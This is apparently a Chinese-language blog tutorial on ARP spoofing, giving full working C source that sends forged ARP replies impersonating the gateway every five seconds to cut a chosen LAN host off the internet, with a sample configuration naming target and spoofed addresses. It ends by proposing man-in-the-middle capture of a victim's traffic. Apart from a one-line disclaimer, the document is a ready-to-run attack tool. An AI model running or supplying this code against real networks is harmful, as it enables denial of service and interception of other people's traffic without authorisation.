注:本文旨在对知识的学习与实践,请勿用于不正常的途径。
ARP攻击的基本原理很简单,通过百度百科的知识就能了解。其主要原理是通过ARP包,进行主机或网关的欺骗。
我将ARP欺骗大致分为两类:
(一)欺骗主机:通常是伪装成网关(不想让欺骗主机上网)或局域网的某一台机器(不想让欺骗主机与这台主机进行通信),给被欺骗主机发送ARP响应包。
(二)欺骗网关:通常是伪装成某一台机器,给网关发送ARP响应包,这样会导致在以后的通信中,网关发回来的数据包到达不了某一主机。
在上面的过程中,发送ARP请求包也是可以的,但请求包通常是以广播形式发送的,这样对交换机的负载比较大,虽然现在的交换机性能很强大,但能避免就避免吧。
现在主机192.168.100.73想要欺骗192.168.100.72,想让72这台主机上不去网,具体来说就是所有通向外网的数据包都转到73上。我们知道,如果目的IP和本主机不在同一网段,那么下一跳就会走默认网关,因此,只要伪装默认网关给72这台主机发送错误的ARP响应包,就会导致72的数据包走到错误的链路上去,这里还涉及一个交换机自学习的知识。
具体的代码
/********************************************************************************
**
** Email : jiashadidai110@gmail.com
**
** Author: Contestjia
**
** Filename: arp_12.6.c
**
** Last modified: 2015-01-06 18:47:30
**
********************************************************************************/
#include <stdio.h>
#include <net/if_arp.h>
#include <netinet/if_ether.h>
#include <netinet/tcp.h>
#include <netinet/ether.h>
#include <stdint.h>
#include <memory.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <netpacket/packet.h>
#include <linux/if_ether.h>
#define ARPLEN (60)
#define MACSTRLEN (18)
#define IPSTRLEN (16)
#define ETHNAMELEN (6)
char DHOSTMAC[MACSTRLEN];
char SHOSTMAC[MACSTRLEN];
char DHOSTIP[IPSTRLEN];
char SHOSTIP[IPSTRLEN];
char ETHNAME[ETHNAMELEN];
extern char *optarg;
static void
InitArp(struct ether_arp *ether_arp)
{
(ether_arp->ea_hdr).ar_hrd = htons(ARPHRD_ETHER);
(ether_arp->ea_hdr).ar_pro = htons(ETHERTYPE_IP);
(ether_arp->ea_hdr).ar_hln = 6;
(ether_arp->ea_hdr).ar_pln = 4;
(ether_arp->ea_hdr).ar_op = htons(ARPOP_REPLY);
memcpy(ether_arp->arp_sha,
ether_aton(SHOSTMAC),
ETH_ALEN);
memcpy(ether_arp->arp_tha,
ether_aton(DHOSTMAC),
ETH_ALEN);
inet_pton(AF_INET,
SHOSTIP,
ether_arp->arp_spa
);
inet_pton(AF_INET,
DHOSTIP,
ether_arp->arp_tpa
);
}
static void
InitEtherHeader(struct ether_header *ether_header)
{
memcpy( ether_header->ether_dhost,
ether_aton(DHOSTMAC),
ETH_ALEN);
memcpy( ether_header->ether_shost,
ether_aton(SHOSTMAC),
ETH_ALEN
);
ether_header->ether_type = htons(ETHERTYPE_ARP);
}
static void
readcfgfile(char *file_name)
{
FILE *fp = NULL;
#define MAXSIZE 255
char buf[MAXSIZE];
char *ptr;
if((fp = fopen(file_name,"r")) == NULL)
{
perror("readcfgfile");
exit(0);
}
while(fgets(buf,MAXSIZE,fp) != 0)
{
if(buf[0] == '#')
continue;
if(strstr(buf,"SHOSTMAC=")){
u_int8_t len = strlen(buf);
if(buf[len - 1] == '\n')
buf[len - 1] = 0;
ptr = buf + strlen("SHOSTMAC=");
strcpy(SHOSTMAC, ptr);
}else if(strstr(buf,"DHOSTMAC=")){
u_int8_t len = strlen(buf);
if(buf[len - 1] == '\n')
buf[len - 1] = 0;
ptr = buf + strlen("DHOSTMAC=");
strcpy(DHOSTMAC, ptr);
}else if(strstr(buf,"SHOSTIP=")){
u_int8_t len = strlen(buf);
if(buf[len - 1] == '\n')
buf[len - 1] = 0;
ptr = buf + strlen("SHOSTIP=");
strcpy(SHOSTIP, ptr);
}else if(strstr(buf,"DHOSTIP=")){
u_int8_t len = strlen(buf);
if(buf[len - 1] == '\n')
buf[len - 1] = 0;
ptr = buf + strlen("DHOSTIP=");
strcpy(DHOSTIP, ptr);
printf("Attack IP is : %s\n",DHOSTIP);
}else{ printf("Parameter is error!!!\n");
exit(0);
}
}
#undef MAXSIZE
}
static u_int8_t
parse_args(u_int32_t argc,u_int8_t **argv)
{
u_int8_t count = 0;
register int op;
const char *opts = "f:F:i:I:";
while( (op = getopt(argc, argv, opts) ) != -1) switch(op) {
case 'f':
case 'F':
{
count++;
readcfgfile(optarg);
break;
}
case 'i':
case 'I':
{
count++;
memcpy(ETHNAME, optarg,strlen(optarg));
break;
}
default:
break;
}
return count;
}
int main(u_int32_t argc, u_int8_t **argv)
{
u_int8_t count = 0; count = parse_args(argc,argv);
if(count != 2)
{
printf("Please input the arp_file!!!!\n");
exit(0);
}
u_int8_t *arp = (u_int8_t*)malloc(sizeof(char) * ARPLEN);
memset(arp, 0 , ARPLEN);
struct ether_header *ether_header = (struct ether_header*)(arp);
struct ether_arp *ether_arp = (struct ether_arp*)(arp + sizeof(struct ether_header));
InitEtherHeader(ether_header);
InitArp(ether_arp);
//bind socket
int32_t fd;
if((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) < 0)
{
perror("socket error!!\n");
exit(0);
}
struct sockaddr_ll send;
memset(&send, 0 ,sizeof(send));
send.sll_family = PF_PACKET;
send.sll_ifindex = if_nametoindex(ETHNAME);
u_int32_t pkt_num = 0;
while(1){
sendto(fd, arp , ARPLEN, 0, (struct sockaddr*)&send, sizeof(send));
pkt_num++;
printf("<<<<<Send %d packet>>>>>\n", pkt_num);
sleep(5);
}
}
程序采用命令行方式与配置文件相结合。
配置文件的格式如下:
#destination mac
DHOSTMAC=00:23:24:44:72:41
#destination ip
DHOSTIP=192.168.100.72
#source mac
SHOSTMAC=00:0F:F4:19:78:A9
#source ip
SHOSTIP=192.168.100.1
配置文件中的destination mac和destination ip是被欺骗主机的真实IP和mac,这个必须正确。由于是要伪装网关,我的网关IP为192.168.100.1,所以source ip为192.168.100.1,而source mac为任意错误的mac地址就行,这样192.168.100.72发出的外网数据包都会到这个mac的主机上。
程序运行的命令格式为:
其中 -i 指定发送数据包的接口为eth2,这个接口是有要求的,必须与被欺骗主机的ip在同一个局域网,-f 指定存放配置的文件名。
由于程序旨在完成ARP欺骗这一功能,因此对于其他可能导致程序运行出错的情况,没有在程序中一一都列举到。
以上就完成了ARP欺骗的功能。其中涉及的知识点有:linux网络编程、交换机自学习、IP路由表查找、ARP地址表查找。理解这些对网络通信比较有好处。
拓展:如果我们同时对网关进行欺骗,然后在发送ARP欺骗数据包的机器上进行混杂捕包、解析、转发,这样我们就可以实现对某一局域网用户的上网行为进行分析,但这中间涉及更多、更杂的知识,有兴趣的可以继续讨论。